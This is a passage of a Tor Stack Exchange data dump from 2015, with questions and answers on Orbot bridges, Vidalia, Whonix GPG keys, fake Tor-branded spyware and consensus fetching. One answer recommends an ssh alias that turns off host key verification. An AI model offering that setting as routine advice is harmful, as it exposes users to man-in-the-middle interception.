  <row Id="6069" PostTypeId="2" ParentId="6056" CreationDate="2015-01-25T08:39:11.730" Score="1" Body="&lt;p&gt;At customs, they don't scan the contents of your hard drive(s). They just scan the laptop with x-rays to be sure you're not hiding something else inside it. That is unless of course you were on their criminal list or you were arrested and they decided to deep-search all your belongings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, answering the first part of your question, Tor Browser is one of your best options. You can download it at &lt;a href=&quot;https://torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://torproject.org&lt;/a&gt; and install it with easy steps. It is essentially a customized Firefox browser, that protects your privacy better, and which uses the Tor network to browse the web. Don't forget to read the really important advice bits written in &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot;&gt;the download page&lt;/a&gt; to ensure you're taking the right steps to protect your privacy.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="923" LastEditDate="2015-01-25T09:53:17.587" LastActivityDate="2015-01-25T09:53:17.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6070" PostTypeId="1" CreationDate="2015-01-25T10:17:27.403" Score="2" ViewCount="130" Body="&lt;p&gt;I'm using &lt;code&gt;Vidalia&lt;/code&gt; on my Fedora. When I wanted to start &lt;code&gt;Vidalia&lt;/code&gt; by clicking the icon, it starts but there is no GUI in screen. In System Monitor it shows Vidalia process and also I can connect to Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I have installed &lt;code&gt;Vidalia&lt;/code&gt; again but same problem appeared .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works with GUI in past days but today this problem appeared. What is wrong with `Vidalia'?&lt;/p&gt;&#xA;" OwnerUserId="6604" LastEditorUserId="923" LastEditDate="2015-01-25T11:04:36.660" LastActivityDate="2015-02-24T11:16:49.363" Title="Vidalia running without GUI" Tags="|vidalia|fedora|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6071" PostTypeId="2" ParentId="6070" CreationDate="2015-01-25T11:16:24.140" Score="2" Body="&lt;p&gt;Vidalia may be running in minimized format. Find the minimized Vidalia icon and maximize it, or take it out of the minimized format by any means available to you. There should not be anything wrong with Vidalia at this point in time as far as I know. Please feel free to correct me or append this answer if more accurate information is available.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2015-01-25T11:16:24.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6072" PostTypeId="2" ParentId="4661" CreationDate="2015-01-25T18:16:02.323" Score="0" Body="&lt;p&gt;No, tor browser bundle runs in a sandbox:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It has it's &lt;strong&gt;own tor process&lt;/strong&gt; (can run aside another tor installed on your computer, you might have to check ports though, because I think it now uses the default 9050 as well)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It has it's &lt;strong&gt;own firefox&lt;/strong&gt; (set up to allow running side by side with another firefox, eg. you can have both open at the same time)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It has it's &lt;strong&gt;own firefox profile&lt;/strong&gt;. It won't touch the profile for your normally installed firefox. (It has different bookmarks, extensions and everything than other firefox instances on your system)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It tries to keep all information written to disk to a minimum and not leak anything outside it's own directory (that's not taking into account system level stuff like swap, ...).&lt;/p&gt;&#xA;" OwnerDisplayName="user517" LastActivityDate="2015-01-25T18:16:02.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6073" PostTypeId="2" ParentId="6035" CreationDate="2015-01-25T18:27:38.977" Score="1" Body="&lt;p&gt;Proxychains uses a hard-coded DNS resolver. It used to be 4.2.2.2, but I think it's been updated since.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/haad/proxychains/blob/master/src/proxyresolv&quot; rel=&quot;nofollow&quot;&gt;https://github.com/haad/proxychains/blob/master/src/proxyresolv&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user3249" LastActivityDate="2015-01-25T18:27:38.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6074" PostTypeId="1" CreationDate="2015-01-26T13:58:18.877" Score="2" ViewCount="3517" Body="&lt;p&gt;I used to be able to connect to the Tor network successfully, but these days It does not work even after I enable bridges (obfs3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following, please find the logs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Orbot ...&#xA;tor: PRE: Is binary exec? true&#xA;polipo: PRE: Is binary exec? true&#xA;obfsclient: PRE: Is binary exec? true&#xA;xtables: PRE: Is binary exec? true&#xA;Orbot ...&#xA;updating torrc custom configuration...&#xA;success.&#xA;Reading control port config file: /data/data/org.torproject.android/app_bin/control.txt&#xA;Connecting to control port: 43547&#xA;SUCCESS connected to Tor control port.&#xA;Orbot ...&#xA;SUCCESS - authenticated to control port.&#xA;adding control port event handler&#xA;SUCCESS added control port event handler&#xA;NOTICE: Opening Socks listener on 127.0.0.1:9050 &#xA;Local SOCKS port: 9050&#xA;NOTICE: Opening Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;NOTICE: Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:52846 &#xA;NOTICE: Closing old Transparent pf/netfilter listener on 127.0.0.1:52846 &#xA;Local TransProxy port: 9040&#xA;NOTICE: Opening DNS listener on 127.0.0.1:5400 &#xA;NOTICE: Closing no-longer-configured DNS listener on 127.0.0.1:59858 &#xA;NOTICE: Closing old DNS listener on 127.0.0.1:59858 &#xA;Local DNSPort port: 9040&#xA;Tor started; process id=9328&#xA;updating settings in Tor service&#xA;Starting polipo process&#xA;SUCCESS - authenticated to control port.&#xA;adding control port event handler&#xA;SUCCESS added control port event handler&#xA; Tor...&#xA; Tor... &#xA;NOTICE: Delaying directory fetches: No running bridges &#xA;Privoxy ：8118&#xA;Polipo process id=9340&#xA;NOTICE: Bootstrapped 5%: Connecting to directory server &#xA;NOTICE: Bootstrapped 10%: Finishing handshake with directory server &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6607" LastEditorUserId="3225" LastEditDate="2015-03-30T15:49:57.287" LastActivityDate="2020-03-10T09:45:19.480" Title="orbot: obfs3 bridges do not work" Tags="|orbot|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6075" PostTypeId="2" ParentId="6063" CreationDate="2015-01-26T14:09:06.767" Score="1" Body="&lt;p&gt;This error means you're not receiving a response from the server you're trying to connect to in due time. The likely cause is that you are running Orweb on an unrooted Android device. There is a solution however that does not involve rooting the device: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you are connected to the internet on your phone through WiFi, open your WiFi settings, press and hold on the WiFi connection name you're connected to, and choose &quot;Modify connection config&quot;, and check &quot;Show advanced options&quot; and enter &quot;localhost&quot; in the &quot;proxy hostname&quot; field and &quot;8118&quot; in the &quot;proxy port&quot; field. Press &quot;Save&quot; and you should be able to browse through Tor now.&lt;/li&gt;&#xA;&lt;li&gt;If you are connected through 3G/4G, find the &quot;Mobile Networks&quot; in your main settings (it is under &quot;More settings&quot; in some devices), press &quot;Access Point Names&quot;, then press on the access point with radio button checked (if there isn't any you'll have to create a new one). Inside the access point name settings, put &quot;localhost&quot; and &quot;8118&quot; in the respective fields of &quot;Proxy&quot; and &quot;Port&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="88" LastEditDate="2015-01-27T08:39:09.693" LastActivityDate="2015-01-27T08:39:09.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6076" PostTypeId="1" AcceptedAnswerId="6077" CreationDate="2015-01-26T15:06:26.117" Score="2" ViewCount="201" Body="&lt;p&gt;I found a link to &quot;WindowsTechies&quot; help and support center :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://windowstechies.com/-/en/spyware/?t=1&amp;amp;k=tor%20anonymous%20proxy&amp;amp;m=b&amp;amp;u=&amp;amp;c=53624071110&amp;amp;gclid=CL-e44rwscMCFWjItAodcF0A6A&quot; rel=&quot;nofollow&quot;&gt;http://windowstechies.com/-/en/spyware/?t=1&amp;amp;k=tor%20anonymous%20proxy&amp;amp;m=b&amp;amp;u=&amp;amp;c=53624071110&amp;amp;gclid=CL-e44rwscMCFWjItAodcF0A6A&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;about a Spyware introduced by Tor proxy !?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, &quot;they&quot; propose a download to get ride of it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyone heard about this ?&lt;/p&gt;&#xA;" OwnerDisplayName="user6548" LastEditorUserId="923" LastEditDate="2015-01-26T16:35:09.273" LastActivityDate="2015-01-26T18:07:11.493" Title="Tor anonymous proxy Spyware" Tags="|tor-browser-bundle|malware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6077" PostTypeId="2" ParentId="6076" CreationDate="2015-01-26T18:07:11.493" Score="2" Body="&lt;p&gt;This so-called &quot;Tor Proxy&quot; is not affiliated with the Tor project, the the Tor Browser, nor the Tor network. It is just a malicious software that uses the name of a well-known product to deceive users into downloading it and then running it. To protect yourself against such threats, use you favourite anti-spyware. But the main precaution is to download Tor/TorBrowserBundle only from &lt;a href=&quot;https://torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://torproject.org&lt;/a&gt;, and to verify the GPG signatures of the files after downloading. Same would apply if you are using a Linux distribution that bases its connection to the internet around Tor: download only from the original source, use HTTPS, and verify GPG signatures.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-26T18:07:11.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6078" PostTypeId="1" CreationDate="2015-01-27T03:44:14.530" Score="0" ViewCount="195" Body="&lt;pre&gt;&lt;code&gt;   8 days ago in Germany where my Windows 7 PC is located I  upgraded its U.S. Firefox browser by hitting the Help/On Firefox tab (I think it was ver 35.0a1, or something like that), I was focibly redirected to a localized version of the download site,- and then all hell broke loose.&#xA;   It took me several days to start the system again; there had never before been an attack fierce like that.&#xA;   Could it have been that ominous FOXACID attack [very good: The Guardian 4 oct. 2013] of which they won't spare even individual Tor users?&#xA;    And what can we do about it?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6611" LastActivityDate="2015-01-27T07:43:35.583" Title="What to do about Foxacid" Tags="|security|windows|browsers|" AnswerCount="1" CommentCount="0" ClosedDate="2015-01-27T08:24:19.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="6079" PostTypeId="2" ParentId="6078" CreationDate="2015-01-27T07:36:57.230" Score="1" Body="&lt;p&gt;The behavior you are describing is weird, since Mozilla changed the update system in Firefox since a while to a silent updating system. Furthermore, the Firefox version you're running is not stable one, since it's 35.0a1 which means it's an alpha version belonging to the aurora tree (even less stable than a beta version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice is summarized as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Install and run an AntiVirus/AntiSpyware to make sure your system is not infected and your programs are not compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- Synchronize your bookmarks, history, tabs, passwords, etc using &lt;strong&gt;Firefox Sync&lt;/strong&gt;, if you want to keep them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3- Uninstall your copy of Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4- Go to &lt;a href=&quot;https://www.mozilla.org/en-US/&quot; rel=&quot;nofollow&quot;&gt;https://www.mozilla.org/en-US/&lt;/a&gt; (that will force the English website to show regardless of your geographic location) and get a fresh and stable copy of Firefox there. You won't need to manually update it afterwards since the updates will be silent and automatic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5- Install the &lt;strong&gt;TorButton&lt;/strong&gt; addon, &lt;strong&gt;HTTPS everywhere&lt;/strong&gt; addon, and optionally &lt;strong&gt;NoScript&lt;/strong&gt; addon in Firefox from the AddOns submenu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6- As a better (and very recommended) alternative of steps 4 &amp;amp; 5, install the &lt;strong&gt;TorBrowserBundle&lt;/strong&gt; from &lt;a href=&quot;https://torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://torproject.org&lt;/a&gt;, which includes a customized Firefox browser and with the mentioned addons pre-installed, called &lt;strong&gt;TorBrowser&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7- Use &lt;strong&gt;Firefox Sync&lt;/strong&gt; to restore your bookmarks, passwords, history, etc.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastEditorUserId="6597" LastEditDate="2015-01-27T07:43:35.583" LastActivityDate="2015-01-27T07:43:35.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6080" PostTypeId="1" CreationDate="2015-01-27T07:47:52.817" Score="1" ViewCount="2607" Body="&lt;p&gt;In orbot software.&#xA;I cannot use obfs3 bridges to connect to the Tor network.&#xA;This is the logs.&#xA;Orbot shows that it is successfully connected to the Tor network but I'm sure it didn't.&#xA;So what's the problem? &#xA;&lt;code&gt;logs&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Orbot 正在启动...&#xA;tor: PRE: Is binary exec? true&#xA;polipo: PRE: Is binary exec? true&#xA;obfsclient: PRE: Is binary exec? true&#xA;xtables: PRE: Is binary exec? true&#xA;Orbot 正在启动...&#xA;updating torrc custom configuration...&#xA;success.&#xA;Reading control port config file: /data/data/org.torproject.android/app_bin/control.txt&#xA;Connecting to control port: 44651&#xA;SUCCESS connected to Tor control port.&#xA;Orbot 正在启动...&#xA;SUCCESS - authenticated to control port.&#xA;adding control port event handler&#xA;SUCCESS added control port event handler&#xA;NOTICE: Opening Socks listener on 127.0.0.1:9050 &#xA;Local SOCKS port: 9050&#xA;NOTICE: Opening Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;NOTICE: Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:38781 &#xA;NOTICE: Closing old Transparent pf/netfilter listener on 127.0.0.1:38781 &#xA;Local TransProxy port: 9040&#xA;NOTICE: Opening DNS listener on 127.0.0.1:5400 &#xA;NOTICE: Closing no-longer-configured DNS listener on 127.0.0.1:36017 &#xA;NOTICE: Closing old DNS listener on 127.0.0.1:36017 &#xA;Local DNSPort port: 9040&#xA;Tor started; process id=31266&#xA;updating settings in Tor service&#xA;Starting polipo process&#xA;SUCCESS - authenticated to control port.&#xA;adding control port event handler&#xA;SUCCESS added control port event handler&#xA;发现当前已存在 Tor 进程...&#xA;正在启动 Tor 客户端... 完成。&#xA;NOTICE: Delaying directory fetches: No running bridges &#xA;Privoxy 当前所用的端口：8118&#xA;Polipo process id=31276&#xA;NOTICE: Bootstrapped 5%: Connecting to directory server &#xA;NOTICE: Bootstrapped 10%: Finishing handshake with directory server &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6612" LastEditorUserId="3225" LastEditDate="2015-03-30T15:50:14.867" LastActivityDate="2015-03-30T15:50:14.867" Title="Orbot cannot connect to the Tor network through bridges" Tags="|help|orbot|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6081" PostTypeId="2" ParentId="6043" CreationDate="2015-01-27T08:07:26.380" Score="1" Body="&lt;p&gt;Tor traffic over a local network will look exactly like what it looks like on the outside. There is no URL/DNS info leaked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can verify that by yourself by running a packet sniffer on your computer. I recommend &lt;a href=&quot;https://www.wireshark.org/&quot; rel=&quot;nofollow&quot;&gt;WireShark&lt;/a&gt; which is available for Windows, Mac OS X and Linux. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open WireShark, select the network interface you want to sniff on (Ethernet or Wireless or etc), and then press the green Start button, and it will show you all packets that pass by (in or out) your network card in real time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can filter the results by writing &lt;em&gt;http&lt;/em&gt; or &lt;em&gt;dns&lt;/em&gt; in the 'filter' field, or from the menu &lt;em&gt;Capture&lt;/em&gt; -&gt; &lt;em&gt;Capture filters&lt;/em&gt;. Be aware that if you want to change the filter, you may have to stop the capturing and restart it.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-27T08:07:26.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6082" PostTypeId="2" ParentId="6042" CreationDate="2015-01-27T08:36:11.570" Score="2" Body="&lt;p&gt;I am not aware of any method to map .onion addresses to local IP addresses like you described, so I am going to propose an alternative approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When connecting to an onion SSH service, use the following command syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no user@host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will make ssh bypass the KnownHosts files and not ask for fingerprint checking anymore, which is kind of useless when you have an ever-varying service IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make things easier, you can make an alias of the command above. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alias sshtor='ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and place that alias line in your ~/.bashrc, so you can connect to onion SSH servers by typing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sshtor user@host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-27T08:36:11.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6083" PostTypeId="2" ParentId="6080" CreationDate="2015-01-27T09:18:04.910" Score="1" Body="&lt;p&gt;It wasn't ever connected. Seems like GFW knows you are connecting to Tor ( If you are in mainland China and using public bridges and these bridges has been detected ). Try other bridges.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastEditorUserId="4894" LastEditDate="2015-02-03T01:25:51.837" LastActivityDate="2015-02-03T01:25:51.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6085" PostTypeId="2" ParentId="3932" CreationDate="2015-01-27T13:57:32.580" Score="3" Body="&lt;p&gt;Yes, an ISP can assume or predict you are using Tor if they are monitorring your traffic, but they can't know what hidden services you're visiting, nor the content you are sending or receiving from the Tor network. It can be detected from the IP addresses of Tor relay nodes you're connecting through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But recently, ISPs got smarter and started to use Deep Packet Inspection (DPI) to recognize Tor traffic even when you're connecting to IP addresses that are not on their list of Tor relay nodes or bridges. Lucklily, there is a countermeasure for that, which is using pluggable transports. Pluggable transports make the traffic between you and Tor bridges look innocent and much harder to detect. See &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;Pluggable Transports page&lt;/a&gt; for more answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all fail, you can try to connect to Tor from a public WiFi network, or using a VPN connection.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-27T13:57:32.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6086" PostTypeId="2" ParentId="6074" CreationDate="2015-01-27T14:23:37.367" Score="1" Body="&lt;p&gt;It is likely that the bridge you are trying to connect through it to the Tor network is blocked by your ISP. Try to use another bridge. You can get new bridge list from &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://bridges.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-27T14:23:37.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6087" PostTypeId="1" AcceptedAnswerId="6096" CreationDate="2015-01-27T16:54:14.737" Score="4" ViewCount="730" Body="&lt;p&gt;I am wondering that how many times a client &quot;talks&quot; to Directory Server (say, it can be a hard-coded Directory Authority Server, or just a normal Directory Server) to fetch the consensus file, knowing that the consensus file is changed, and redistributed among directory servers every one hour?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, how frequent does a client fetch consensus data from Directory Server, or just once at the beginning time when starting Tor Browser? Lets assume that this client continuously uses Tor for more than 1 hour.&lt;/p&gt;&#xA;" OwnerUserId="5202" LastEditorUserId="923" LastEditDate="2015-01-28T04:44:33.027" LastActivityDate="2015-01-28T20:29:31.617" Title="How many times does client fetch the consensus file from directory authorities?" Tags="|directory|client|consensus|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6088" PostTypeId="1" CreationDate="2015-01-27T18:59:45.740" Score="1" ViewCount="1823" Body="&lt;p&gt;Although Tor can let me browse the site, but when I want to hide my IP, I found that I can't use Tor to login Baidu (a domestic website)...&#xA;I try to log in to other sites, QQ does log in, but not big.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know, is there a way to use Tor browser without running Tor? I think I can login first, then open the Tor.&lt;/p&gt;&#xA;" OwnerUserId="6615" LastEditorUserId="923" LastEditDate="2015-01-28T04:33:26.457" LastActivityDate="2015-01-28T07:26:20.723" Title="When I use Tor, I can't log in to Baidu" Tags="|blocked-services|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6089" PostTypeId="1" AcceptedAnswerId="6092" CreationDate="2015-01-27T19:29:58.717" Score="3" ViewCount="1139" Body="&lt;p&gt;I have virtualbox installed on w7 and there installed the gateway and the workstation. Now if I want to use the Tor browser it says it's not installed and if I want to install it. Then I get this error message which I have searched for around the web but can't find anything about it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VcxE4.png&quot; alt=&quot;scrshot&quot;&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really hope someone can help me out or has a workaround because I really want to use it. Have had a lot of setbacks today and yesterday so it would be fine to finally do some work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already tried using what you said.&#xA;The result of gpg --recv-keys &quot;$fpr&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg: directory `/root/.gnupg` created&#xA;gpg: new configuration file `/root/.gnupg/gpg.conf` created&#xA;gpg: WARNING: options in `/root/.gnupg/gpg.conf` are not yet active during this run&#xA;gpg: keyring `/root/.gnupg/secring.gpg` created&#xA;gpg: keyring `/root/.gnupg/pubring.gpg` created&#xA;gpg: no keyserver know (use option --keyserver)&#xA;gpg: keyserver receive failed: bad URI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it goes wrong here.&lt;/p&gt;&#xA;" OwnerUserId="6616" LastEditorUserId="923" LastEditDate="2015-01-28T04:40:05.903" LastActivityDate="2015-02-27T04:41:34.513" Title="Tor can't be installed on Whonix GPG download signature could not be verified" Tags="|windows|help|whonix|error|virtual-machine|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6092" PostTypeId="2" ParentId="6089" CreationDate="2015-01-27T21:03:43.543" Score="1" Body="&lt;p&gt;This usually happens when your whonix version is 9.4 or below. It is a known bug that will be fixed in version 9.6. For now, here is how you can fix it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open a terminal in Whonix, then copy &amp;amp; paste the following lines into it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;fpr=&quot;916B8D99C38EAF5E8ADC7A2A8D66066A2EEACCDA&quot;&#xA;gpg --recv-keys &quot;$fpr&quot;&#xA;gpg --fingerprint &quot;$fpr&quot; &#xA;gpg --export &quot;$fpr&quot; | sudo apt-key add -&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you'll have to update your system using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo apt-get update&#xA;sudo apt-get dist-upgrade&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you will be able to install or update the TorBrowser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it is advisable to reboot the system after finishing the system update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information about the system update procedure and certain advices about it, see &lt;a href=&quot;https://www.whonix.org/wiki/Security_Guide#Updates&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Security_Guide#Updates&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-27T21:03:43.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6093" PostTypeId="2" ParentId="6088" CreationDate="2015-01-28T00:50:15.233" Score="1" Body="&lt;p&gt;You can change the proxy settings to use no proxy. When you logged in without using Tor, you got your IP correlated with your account, which can figure out your IP even if you started Tor then.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2015-01-28T00:50:15.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6094" PostTypeId="2" ParentId="6088" CreationDate="2015-01-28T05:04:38.073" Score="2" Body="&lt;p&gt;This is a self beating procedure. As &quot;nobody&quot; has mentioned, &quot;When you logged in without using Tor, you got your IP (address) correlated with your account, which can figure out your IP (address) even if you started Tor then&quot;. Now there is one additional issue, not only you are not anonymous but, the destination WEB site can figure out you are using Tor in addition to your ISP.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-01-28T07:26:20.723" LastActivityDate="2015-01-28T07:26:20.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6095" PostTypeId="2" ParentId="6087" CreationDate="2015-01-28T07:26:35.250" Score="2" Body="&lt;p&gt;From what I gathered, I have not found anything that point that a client periodically fetch the consensus file. On the other hand, consensus files do expire, and when that happens the client will request the latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set &lt;strong&gt;TestingTorNetwork&lt;/strong&gt; in &lt;em&gt;torrc&lt;/em&gt; to &lt;strong&gt;1&lt;/strong&gt;, one of the properties tested will be the frequency of fetching the consensus file. The following values will be tested for both clients and servers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;TestingServerConsensusDownloadSchedule 0, 0, 5, 10, 15, 20, 30, 60&#xA;TestingClientConsensusDownloadSchedule 0, 0, 5, 10, 15, 20, 30, 60&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-01-28T07:26:35.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6096" PostTypeId="2" ParentId="6087" CreationDate="2015-01-28T09:27:22.177" Score="3" Body="&lt;p&gt;As far as I see it the answer is in the source code. ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/main.c&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;main.c&lt;/code&gt;&lt;/a&gt; has a function &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/main.c#n1220&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;run_scheduled_events&lt;/code&gt;&lt;/a&gt;. The comment to this function says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Perform regular maintenance tasks.  This function gets run once per second by &lt;code&gt;second_elapsed_callback()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Within the source code there is a list of things which this function does. As far as I see it item &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/main.c#n1511&quot; rel=&quot;nofollow&quot;&gt;2c&lt;/a&gt; deals with downloading the networkstatus:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2c. Every minute (or every second if TestingTorNetwork), check whether we want to download any networkstatus documents.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The code itself is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define networkstatus_dl_check_interval(o) ((o)-&amp;gt;TestingTorNetwork ? 1 : 60)&#xA;&#xA;if (!should_delay_dir_fetches(options, NULL) &amp;amp;&amp;amp;&#xA;    time_to_download_networkstatus &amp;lt; now) {&#xA;  time_to_download_networkstatus =&#xA;    now + networkstatus_dl_check_interval(options);&#xA;  update_networkstatus_downloads(now);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it looks at &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/networkstatus.c#n918&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;should_delay_dir_fetches&lt;/code&gt; in &lt;code&gt;networkstatus.c&lt;/code&gt;&lt;/a&gt;. If your network is enabled and you have running bridges/pluggable transports (in case you set it) all is fine. Furthermore it checks if a specific timer is less than the current time. If this is true, the timer is updated (current time plus 60 seconds) and &lt;code&gt;update_networkstatus_downloads&lt;/code&gt; is called which itself calls &lt;code&gt;update_consensus_networkstatus_downloads&lt;/code&gt;. This function takes care about the actual downloading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function is defined at &lt;a 